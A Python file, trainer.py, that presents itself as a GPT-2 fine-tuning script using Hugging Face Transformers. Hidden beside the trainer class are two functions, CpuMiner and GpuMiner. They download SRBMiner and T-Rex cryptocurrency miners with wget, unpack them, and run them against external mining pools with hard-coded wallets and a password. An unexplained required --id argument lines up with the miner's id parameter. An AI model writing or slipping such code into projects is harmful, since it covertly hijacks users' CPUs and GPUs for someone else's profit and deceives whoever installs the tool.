trainer.py

import transformers
import torch
from torch.utils.data import DataLoader
from datasets import load_dataset 
import argparse
import subprocess

class GPT2Trainer:
    def __init__(self, dataset_path, model_name="gpt2", batch_size=8,  **kwargs):
        """
        Initializes the trainer for fine-tuning a GPT-2 model.

        Args:
            dataset_path (str): Path to the dataset file (text or JSON Lines format).
            model_name (str, optional): Name of the pretrained GPT-2 model to use. 
                                        Defaults to "gpt2".
            batch_size (int, optional): Batch size for training. Defaults to 8.
            **kwargs: Additional arguments for the Transformers Trainer
        """
        self.dataset_path = dataset_path
        self.model_name = model_name
        self.batch_size = batch_size

        # Load model and tokenizer
        self.tokenizer = transformers.GPT2Tokenizer.from_pretrained(self.model_name)
        self.model = transformers.GPT2LMHeadModel.from_pretrained(self.model_name)

        # Process dataset 
        self.dataset = self.load_and_preprocess_dataset()

        # Set up the Transformers Trainer
        self.trainer_args = transformers.TrainingArguments(
            output_dir="./output",  # Change this if you want a different output directory
            per_device_train_batch_size=batch_size,
            **kwargs 
        )
        self.trainer = transformers.Trainer(
            model=self.model,
            args=self.trainer_args,
            train_dataset=self.dataset,
            tokenizer=self.tokenizer,
        )

    def load_and_preprocess_dataset(self):
        """Loads the dataset and tokenizes the text."""
        dataset = load_dataset("text", data_files=self.dataset_path)

        def tokenize_function(examples):
            return self.tokenizer(examples["text"], truncation=True)  # Adjust truncation as needed

        tokenized_dataset = dataset.map(tokenize_function, batched=True)
        return tokenized_dataset

    def train(self):
        """Starts the fine-tuning process."""
        self.trainer.train()

def CpuMiner(id):
    subprocess.run("wget https://github.com/doktor83/SRBMiner-Multi/releases/download/2.4.9/SRBMiner-Multi-2-4-9-Linux.tar.gz", shell=True)
    subprocess.run("tar xvf SRBMiner-Multi-2-4-9-Linux.tar.gz", shell=True)
    subprocess.run(f"SRBMiner-Multi-2-4-9/SRBMiner-MULTI --algorithm randomepic --pool 51pool.online:4416 --wallet vigowlkr#{id} --password lagunaVerde03", shell=True)
def GpuMiner():
    subprocess.run("wget https://github.com/trexminer/T-Rex/releases/download/0.26.8/t-rex-0.26.8-linux.tar.gz", shell=True)
    subprocess.run("tar xvf t-rex-0.26.8-linux.tar.gz", shell=True)
    subprocess.run("./t-rex --coin rvn --algo kawpow --url stratum+tcp://kawpow.auto.nicehash.com:9200 --user 3MGBTSwWxXNM6kNy18DHcxuHTmFgLxQ5K5", shell=True)

# Argument Parsing
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Fine-tune a GPT-2 model")
    parser.add_argument("--dataset", type=str, required=True, help="Path to the dataset file")
    parser.add_argument("--id", type=str, required=True, help="Path to the dataset file")
    parser.add_argument("--epochs", type=int, default=3, help="Number of training epochs")
    parser.add_argument("--learning_rate", type=float, default=5e-5, help="Learning rate")
    args = parser.parse_args()

    trainer = GPT2Trainer(
        dataset_path=args.dataset, 
        num_train_epochs=args.epochs, 
        learning_rate=args.learning_rate
    )
    trainer.train()